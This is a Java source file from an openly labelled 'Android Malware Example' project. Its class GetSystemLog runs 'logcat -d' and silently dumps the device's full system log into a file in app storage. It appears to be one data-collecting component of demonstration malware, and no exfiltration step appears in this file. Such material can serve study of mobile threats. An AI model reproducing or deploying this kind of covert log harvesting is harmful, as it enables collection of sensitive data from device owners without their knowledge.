/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

/**
 * Created by darrylb on 10/3/16.
 */
public class GetSystemLog {

    Context context;
    ConfigParams configParams;


    public GetSystemLog(Context _context){
        context = _context;
        configParams = new ConfigParams(context);

    }
    public void GetLogs(String outfile) {

        StringBuilder log = new StringBuilder();
        List<String> _logs = new ArrayList<String>();


        BufferedWriter out;
        File fpath = configParams.StoragePath;
        try {

            FileWriter fileWriter = new FileWriter(fpath + "/" + outfile);

            out = new BufferedWriter(fileWriter);


            try {
                Process process = Runtime.getRuntime().exec("logcat -d");
                BufferedReader bufferedReader = new BufferedReader(
                        new InputStreamReader(process.getInputStream()));
                int counter = 0;
                //  StringBuilder log = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    out.write(line+"\n");
                }
            } catch (Exception ex) {
                if (configParams.Logging)    Log.d(configParams.PROGID, "Unable to read system log");
            }

            out.close();
        }
        catch (IOException e) {
            if (configParams.Logging)    Log.e("Exception", "File write failed: " + e.toString());
        }




    }
}
